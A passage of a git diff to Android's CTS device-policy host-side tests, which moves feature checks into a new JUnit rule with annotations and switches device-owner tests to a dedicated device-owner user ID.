+                isHeadlessSystemUserMode());
+    }
+
+    protected void grantDpmWrapperPermissions(String deviceAdminPkg, int userId) throws Exception {
+        // TODO(b/176993670): INTERACT_ACROSS_USERS is needed by DevicePolicyManagerWrapper to
+        // get the current user; the permission is available on mDeviceOwnerUserId because it
+        // was installed with -g, but not on mPrimaryUserId as the app is intalled by code
+        // (DPMS.manageUserUnchecked(), which don't grant it (as this is a privileged permission
+        // that's not available to 3rd party apps). If we get rid of DevicePolicyManagerWrapper,
+        // we won't need to grant it anymore.
+        CLog.i("Granting INTERACT_ACROSS_USERS to DO %s on user %d as it will need to send ordered "
+                + "broadcasts to user 0", deviceAdminPkg, userId);
+        executeShellCommand("pm grant --user %d %s android.permission.INTERACT_ACROSS_USERS",
+                userId, deviceAdminPkg);
+
+        CLog.i("Granting WRITE_SECURE_SETTINGS package (%s) on user %d as some tests might need it",
+                deviceAdminPkg, userId);
+        executeShellCommand("pm grant --user %d %s android.permission.WRITE_SECURE_SETTINGS",
+                userId, deviceAdminPkg);
+    }
+
+    /** Find effective restriction for user */
+    protected boolean isRestrictionSetOnUser(int userId, String restriction) throws Exception {
+        String commandOutput = getDevice().executeShellCommand("dumpsys user");
+        String[] outputLines = commandOutput.split("\\n");
+        Pattern userPattern = Pattern.compile("(^.*)UserInfo\\{" + userId + ":.*$");
+        Pattern restrictionPattern = Pattern.compile("(^.*)Effective\\srestrictions\\:.*$");
+
+        boolean userFound = false;
+        boolean restrictionsFound = false;
+        int lastIndent = -1;
+
+        for (String line : outputLines) {
+            // Starting a new block of user infos
+            if (!line.startsWith(" ".repeat(lastIndent + 1))) {
+                CLog.d("User %d restrictions found, no matched restriction.", userId);
+                return false;
+            }
+            //First, try matching user pattern
+            Matcher userMatcher = userPattern.matcher(line);
+            if (userMatcher.find()) {
+                CLog.d("User %d found in dumpsys, finding restrictions.", userId);
+                userFound = true;
+                lastIndent = userMatcher.group(1).length();
+            }
+
+            // Second, try matching restriction
+            Matcher restrictionMatcher = restrictionPattern.matcher(line);
+            if (userFound && restrictionMatcher.find()) {
+                CLog.d("User %d restrictions found, finding exact restriction.", userId);
+                restrictionsFound = true;
+                lastIndent = restrictionMatcher.group(1).length();
+            }
+
+            if (restrictionsFound && line.contains(restriction)) {
+                return true;
+            }
+        }
+        if (!userFound) {
+            CLog.e("User %d not found in dumpsys.", userId);
+        }
+        if (!restrictionsFound) {
+            CLog.d("User %d found in dumpsys, but restrictions not found.", userId);
+        }
+        return false;
+    }
+
+    /**
+     * Generates instrumentation arguments that indicate the device-side test is exercising device
+     * owner APIs.
+     *
+     * <p>This is needed for hostside tests that use the same class hierarchy for both device and
+     * profile owner tests, as on headless system user mode the test side must decide whether to
+     * use its "local DPC" or wrap the calls to the system user DPC.
+     */
+    protected static Map<String, String> paramsForDeviceOwnerTest() {
+        Map<String, String> params = new HashMap<>();
+        params.put("admin_type", "DeviceOwner");
+        return params;
+    }
+
+    boolean isTv() throws DeviceNotAvailableException {
+        return hasDeviceFeature(FEATURE_LEANBACK);
+    }
+
     void pushUpdateFileToDevice(String fileName)
             throws IOException, DeviceNotAvailableException {
         File file = File.createTempFile(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
index f9817ec..4d0b88b 100755
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseManagedProfileTest.java
@@ -16,11 +16,14 @@
 
 package com.android.cts.devicepolicy;
 
-import static org.junit.Assert.fail;
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil;
 
+// We need multi user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public abstract class BaseManagedProfileTest extends BaseDevicePolicyTest {
     protected static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     protected static final String INTENT_SENDER_PKG = "com.android.cts.intent.sender";
@@ -46,18 +49,13 @@
     protected int mParentUserId;
     // ID of the profile we'll create. This will always be a profile of the parent.
     protected int mProfileUserId;
-    protected boolean mHasNfcFeature;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-        mHasNfcFeature = hasDeviceFeature("android.hardware.nfc")
-                && hasDeviceFeature("android.sofware.nfc.beam");
+        if (mFeaturesCheckerRule.hasRequiredFeatures()) {
 
-        if (mHasFeature) {
             removeTestUsers();
             mParentUserId = mPrimaryUserId;
             mProfileUserId = createManagedProfile(mParentUserId);
@@ -75,19 +73,18 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            removeUser(mProfileUserId);
-            getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
-            getDevice().uninstallPackage(INTENT_SENDER_PKG);
-            getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
-            getDevice().uninstallPackage(NOTIFICATION_PKG);
-            getDevice().uninstallPackage(TEST_APP_1_APK);
-            getDevice().uninstallPackage(TEST_APP_2_APK);
-            getDevice().uninstallPackage(TEST_APP_3_APK);
-            getDevice().uninstallPackage(TEST_APP_4_APK);
-            getDevice().uninstallPackage(SHARING_APP_1_APK);
-            getDevice().uninstallPackage(SHARING_APP_2_APK);
-        }
+        removeUser(mProfileUserId);
+        getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
+        getDevice().uninstallPackage(INTENT_SENDER_PKG);
+        getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
+        getDevice().uninstallPackage(NOTIFICATION_PKG);
+        getDevice().uninstallPackage(TEST_APP_1_APK);
+        getDevice().uninstallPackage(TEST_APP_2_APK);
+        getDevice().uninstallPackage(TEST_APP_3_APK);
+        getDevice().uninstallPackage(TEST_APP_4_APK);
+        getDevice().uninstallPackage(SHARING_APP_1_APK);
+        getDevice().uninstallPackage(SHARING_APP_2_APK);
+
         super.tearDown();
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index ddaf864..2220d80 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -5,7 +5,6 @@
 import static android.stats.devicepolicy.EventId.START_ACTIVITY_BY_INTENT_VALUE;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -240,7 +239,7 @@
     @LargeTest
     @Test
     public void testStartMainActivity_logged() throws Exception {
-        if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
+        if (!mHasManagedUserFeature) {
             return;
         }
         assertMetricsLogged(
@@ -261,7 +260,7 @@
     @LargeTest
     @Test
     public void testGetTargetUserProfiles_logged() throws Exception {
-        if (!mHasManagedUserFeature || !isStatsdEnabled(getDevice())) {
+        if (!mHasManagedUserFeature) {
             return;
         }
         assertMetricsLogged(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
index 24127de..dc65e75 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsPermissionHostSideTest.java
@@ -16,7 +16,9 @@
 
 package com.android.cts.devicepolicy;
 
-import static org.junit.Assume.assumeTrue;
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -34,6 +36,7 @@
  * The rest of the tests for {@link android.content.pm.crossprofile.CrossProfileApps}
  * can be found in {@link CrossProfileAppsHostSideTest}.
  */
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class CrossProfileAppsPermissionHostSideTest extends BaseDevicePolicyTest {
     private static final String TEST_WITH_REQUESTED_PERMISSION_PACKAGE =
             "com.android.cts.crossprofileappstest";
@@ -58,11 +61,15 @@
 
     private int mProfileId;
 
+    @Override
+    protected void assumeTestEnabled() throws Exception {
+        assumeSupportsMultiUser();
+    }
+
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        assumeTrue(mSupportsMultiUser && mHasManagedUserFeature);
     }
 
     @Test
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 184cc9b..6372a01 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -46,80 +46,70 @@
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-            getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
-        }
+        getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+        getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
 
         super.tearDown();
     }
 
     @Test
     public void testOwnerChangedBroadcast() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
-            installAppAsUser(INTENT_RECEIVER_APK, mPrimaryUserId);
+            installAppAsUser(INTENT_RECEIVER_APK, mDeviceOwnerUserId);
 
             String testClass = INTENT_RECEIVER_PKG + ".OwnerChangedBroadcastTest";
 
             // Running this test also gets the intent receiver app out of the stopped state, so it
             // can receive broadcast intents.
             runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
-                    "testOwnerChangedBroadcastNotReceived", mPrimaryUserId);
+                    "testOwnerChangedBroadcastNotReceived", mDeviceOwnerUserId);
 
             // Setting the device owner should send the owner changed broadcast.
-            assertTrue(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
+            assertTrue(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
                     /*expectFailure*/ false));
 
             // Wait broadcast idle to ensure the owner changed broadcast has been sent.
             waitForBroadcastIdle();
 
             runDeviceTestsAsUser(INTENT_RECEIVER_PKG, testClass,
-                    "testOwnerChangedBroadcastReceived", mPrimaryUserId);
+                    "testOwnerChangedBroadcastReceived", mDeviceOwnerUserId);
         } finally {
             getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
             assertTrue("Failed to remove device owner.",
-                    removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId));
+                    removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId));
         }
     }
 
     @Test
     public void testCannotSetDeviceOwnerWhenSecondaryUserPresent() throws Exception {
-        if (!mHasFeature || getMaxNumberOfUsersSupported() < 2) {
-            return;
-        }
+        assumeSupportsMultiUser();
         int userId = -1;
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
             userId = createUser();
-            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
+            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
                     /*expectFailure*/ true));
         } finally {
             removeUser(userId);
             // make sure we clean up in case we succeeded in setting the device owner
-            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId);
+            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId);
         }
     }
 
     @FlakyTest
     @Test
     public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(ACCOUNT_MANAGEMENT_APK, mPrimaryUserId);
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
             runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
                     "testAddAccountExplicitly", mPrimaryUserId);
-            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId,
+            assertFalse(setDeviceOwner(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId,
                     /*expectFailure*/ true));
         } finally {
             // make sure we clean up in case we succeeded in setting the device owner
-            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mPrimaryUserId);
+            removeAdmin(DEVICE_OWNER_ADMIN_COMPONENT, mDeviceOwnerUserId);
             runDeviceTestsAsUser(ACCOUNT_MANAGEMENT_PKG, ".AccountUtilsTest",
                     "testRemoveAccountExplicitly", mPrimaryUserId);
         }
@@ -128,13 +118,13 @@
     @Test
     public void testIsProvisioningAllowed() throws Exception {
         // Must install the apk since the test runs in the DO apk.
-        installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
         try {
             // When CTS runs, setupwizard is complete. Expects it has to return false as DO can
             // only be provisioned before setupwizard is completed.
 
             runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".PreDeviceOwnerTest",
-                    "testIsProvisioningAllowedFalse", /* deviceOwnerUserId */ 0);
+                    "testIsProvisioningAllowedFalse", mDeviceOwnerUserId);
         } finally {
             getDevice().uninstallPackage(DEVICE_OWNER_PKG);
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
index 40b3dd0..c478dd6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
@@ -15,36 +15,35 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.DoesNotRequireFeature;
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.Test;
 
+// We need multi user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class CustomManagedProfileTest extends BaseDevicePolicyTest {
 
     private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
     private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
-    }
-
+    @DoesNotRequireFeature
     @Test
     public void testIsProvisioningAllowed() throws Exception {
-        final int primaryUserId = getPrimaryUser();
         // Must install the apk since the test runs in the ManagedProfile apk.
         installAppAsUser(MANAGED_PROFILE_APK, mPrimaryUserId);
         try {
-            if (mHasFeature) {
+            if (mFeaturesCheckerRule.hasRequiredFeatures()) {
                 // Since we assume, in ManagedProfileTest, provisioning has to be successful,
                 // DevicePolicyManager.isProvisioningAllowed must return true
-                assertIsProvisioningAllowed(true, primaryUserId);
+                assertIsProvisioningAllowed(true, mPrimaryUserId);
             } else {
                 // Test the case when feature flag is off
-                assertIsProvisioningAllowed(false, primaryUserId);
+                assertIsProvisioningAllowed(false, mPrimaryUserId);
             }
         } finally {
             getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
@@ -55,6 +54,7 @@
             throws DeviceNotAvailableException {
         final String testName = expected ? "testIsProvisioningAllowedTrue"
                 : "testIsProvisioningAllowedFalse";
+        CLog.d("Running test %s on user %d", testName, userId);
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PreManagedProfileTest", testName, userId);
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
new file mode 100644
index 0000000..b66099e
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminFeaturesCheckerRule.java
@@ -0,0 +1,212 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Custom rule used to skip tests when the device doesn't have {@value #FEATURE_DEVICE_ADMIN} and/or
+ * additional features (as defined the {@link RequiresAdditionalFeatures} and
+ * {@link DoesNotRequireFeature} annotations.
+ */
+public final class DeviceAdminFeaturesCheckerRule implements TestRule {
+
+    public static final String FEATURE_BACKUP = "android.software.backup";
+    public static final String FEATURE_DEVICE_ADMIN = "android.software.device_admin";
+    public static final String FEATURE_MANAGED_USERS = "android.software.managed_users";
+
+    private final BaseDevicePolicyTest mTest;
+
+    private boolean mHasRequiredFeatures;
+
+    public DeviceAdminFeaturesCheckerRule(BaseDevicePolicyTest test) {
+        mTest = test;
+    }
+
+    @Override
+    public Statement apply(final Statement base, Description description) {
+        return new Statement() {
+            @Override
+            public void evaluate() throws Throwable {
+                ITestDevice testDevice = mTest.getDevice();
+                assumeTrue("Test device is not available", testDevice != null);
+
+                int apiLevel = testDevice.getApiLevel();
+                assumeTrue("Device API level is " + apiLevel + ", minimum required is 21",
+                        apiLevel >= 21); // requires Build.VERSION_CODES.L
+
+                String testName = description.getDisplayName();
+
+                if (description.getAnnotation(TemporaryIgnoreOnHeadlessSystemUserMode.class) != null
+                        && BaseDevicePolicyTest.isHeadlessSystemUserMode(testDevice)) {
+                    throw new AssumptionViolatedException(
+                            "TEMPORARILY skipping " + testName + " on headless system user mode");
+                }
+
+                List<String> requiredFeatures = new ArrayList<>();
+                requiredFeatures.add(FEATURE_DEVICE_ADMIN);
+
+                // Method annotations
+                addRequiredAdditionalFeatures(requiredFeatures, description
+                        .getAnnotation(RequiresAdditionalFeatures.class));
+                addRequiredManagedUsersFeature(requiredFeatures, testDevice, description
+                        .getAnnotation(RequiresProfileOwnerSupport.class));
+
+                // Class annotations
+                Class<?> clazz = description.getTestClass();
+                while (clazz != Object.class) {
+                    addRequiredAdditionalFeatures(requiredFeatures,
+                            clazz.getAnnotation(RequiresAdditionalFeatures.class));
+                    addRequiredManagedUsersFeature(requiredFeatures, testDevice,
+                            clazz.getAnnotation(RequiresProfileOwnerSupport.class));
+                    clazz = clazz.getSuperclass();
+                }
+
+                CLog.v("Required features for test %s: %s", testName, requiredFeatures);
+
+                List<String> missingFeatures = new ArrayList<>(requiredFeatures.size());
+                for (String requiredFeature : requiredFeatures) {
+                    if (!testDevice.hasFeature(requiredFeature)) {
+                        missingFeatures.add(requiredFeature);
+                    }
+                }
+
+                mHasRequiredFeatures = missingFeatures.isEmpty();
+
+                if (!mHasRequiredFeatures) {
+                    DoesNotRequireFeature bypass = description
+                            .getAnnotation(DoesNotRequireFeature.class);
+                    if (bypass != null) {
+                        CLog.i("Device is missing features (%s), but running test %s anyways "
+                                + "because of %s annotation", missingFeatures, testName, bypass);
+                    } else {
+                        throw new AssumptionViolatedException("Device does not have the following "
+                                + "features: " + missingFeatures);
+                    }
+                }
+
+                // Finally, give the test a chance to be skipped
+                mTest.assumeTestEnabled();
+
+                base.evaluate();
+            }
+
+            private void addRequiredAdditionalFeatures(List<String> requiredFeatures,
+                    RequiresAdditionalFeatures annotation) {
+                if (annotation == null) return;
+
+                for (String additionalFeature : annotation.value()) {
+                    requiredFeatures.add(additionalFeature);
+                }
+            }
+
+            private void addRequiredManagedUsersFeature(List<String> requiredFeatures,
+                    ITestDevice testDevice, RequiresProfileOwnerSupport annotation)
+                    throws DeviceNotAvailableException {
+                if (annotation == null) return;
+
+                if (BaseDevicePolicyTest.isHeadlessSystemUserMode(testDevice)) {
+                    CLog.i("Not requiring feature %s on headless system user mode",
+                            FEATURE_MANAGED_USERS);
+                    return;
+                }
+
+                requiredFeatures.add(FEATURE_MANAGED_USERS);
+            }
+        };
+    }
+
+    /**
+     * Checks if the device has the required features for this test.
+     */
+    public boolean hasRequiredFeatures() {
+        return mHasRequiredFeatures;
+    }
+
+    /**
+     * Used to annotate a test method that should run if when the device doesn't have the features
+     * required by the test class.
+     *
+     * <p><b>NOTE: </b>it doesn't work when used on overridden test methods (as {@code JUnit} will
+     * only return the annotations of the superclass method).
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface DoesNotRequireFeature {
+    }
+
+    /**
+     * Sets additional required features for a given test class or method.
+     *
+     * <p><b>NOTE: </b>it doesn't work when used on overridden test methods (as {@code JUnit} will
+     * only return the annotations of the superclass method).
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.TYPE, ElementType.METHOD})
+    public static @interface RequiresAdditionalFeatures {
+        String[] value();
+    }
+
+
+    // TODO(b/183105338): remove annotation if FEATURE_MANAGED_USERS is split into separate features
+    // for profile owner and managed profile support.
+    /**
+     * Used to annotated a test method or class that requires profile owner support.
+     *
+     * <p>Traditionally, these tests were looking for the {@code FEATURE_MANAGE_USERS} feature, but
+     * on headless system mode devices a profile owner is created in the current user when the
+     * device owner is set on system user, even if the device doesn't support the feature - this
+     * annotation takes care of both cases.
+     *
+     * <p><b>NOTE: </b>it doesn't work when used on overridden test methods (as {@code JUnit} will
+     * only return the annotations of the superclass method).
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.TYPE, ElementType.METHOD})
+    public static @interface RequiresProfileOwnerSupport {
+    }
+
+    /**
+     * TODO(b/132260693): STOPSHIP - temporary annotation used on tests that haven't been fixed to
+     * run on headless system user yet
+     *
+     * <p><b>NOTE:</b> if a test shouldn't run on headless system user mode in the long term, we'll
+     * need a separate {@code IgnoreOnHeadlessSystemUserMode} annotation
+     */
+    @Retention(RetentionPolicy.RUNTIME)
+    @Target({ElementType.METHOD})
+    public static @interface TemporaryIgnoreOnHeadlessSystemUserMode {
+        String bugId();
+        String reason();
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
index 7ab8265..68f79a6 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi23.java
@@ -34,10 +34,6 @@
     @FlakyTest
     @Test
     public void testAdminWithNoProtection() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(getDeviceAdminApkFileName(), mUserId);
         try {
             setDeviceAdmin(getUnprotectedAdminReceiverComponent(), mUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
index fccc586..aa1d9d2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi24.java
@@ -31,10 +31,6 @@
      */
     @Test
     public void testAdminWithNoProtection() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         installAppAsUser(getDeviceAdminApkFileName(), mUserId);
         setDeviceAdminExpectingFailure(getUnprotectedAdminReceiverComponent(), mUserId,
                 "must be protected with android.permission.BIND_DEVICE_ADMIN");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
index 08826af..7a7aa7d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
@@ -32,9 +32,6 @@
     @Override
     @Test
     public void testRunDeviceAdminTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runTests(getDeviceAdminApkPackage(), "DeviceAdminWithEnterprisePoliciesBlockedTest");
     }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
index a33c0ef..216238f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceDeviceOwnerTest.java
@@ -22,11 +22,6 @@
     }
 
     @Override
-    protected boolean isTestEnabled() {
-        return mHasFeature;
-    }
-
-    @Override
     protected void setAsOwnerOrFail(String component) throws Exception {
         setDeviceOwnerOrFail(component, getUserId());
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
index 3b678dd..55cd092 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminServiceProfileOwnerTest.java
@@ -31,19 +31,10 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        if (isTestEnabled()) {
-            mUserId = createUser();
-        }
-    }
 
-    @Override
-    public void tearDown() throws Exception {
-        super.tearDown();
-    }
+        assumeSupportsMultiUser();
 
-    @Override
-    protected boolean isTestEnabled() {
-        return mHasFeature && mSupportsMultiUser;
+        mUserId = createUser();
     }
 
     @Override
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
index 89788c7..911ae72 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerHostSideTransferTest.java
@@ -2,6 +2,8 @@
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.fail;
 
 import android.stats.devicepolicy.EventId;
@@ -11,8 +13,6 @@
 
 import org.junit.Test;
 
-import static com.google.common.truth.Truth.assertThat;
-
 public abstract class DeviceAndProfileOwnerHostSideTransferTest extends BaseDevicePolicyTest {
 
     protected static final String TRANSFER_OWNER_OUTGOING_PKG =
@@ -41,10 +41,6 @@
 
     @Test
     public void testTransferOwnership() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         final boolean hasManagedProfile = (mUserId != mPrimaryUserId);
         final String expectedManagementType = hasManagedProfile ? "profile-owner" : "device-owner";
         assertMetricsLogged(getDevice(), () -> {
@@ -58,9 +54,6 @@
 
     @Test
     public void testTransferSameAdmin() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(TRANSFER_OWNER_OUTGOING_PKG,
                 mOutgoingTestClassName,
                 "testTransferSameAdmin", mUserId);
@@ -68,9 +61,6 @@
 
     @Test
     public void testTransferInvalidTarget() throws Exception {
-        if (!mHasFeature) {
-            return;
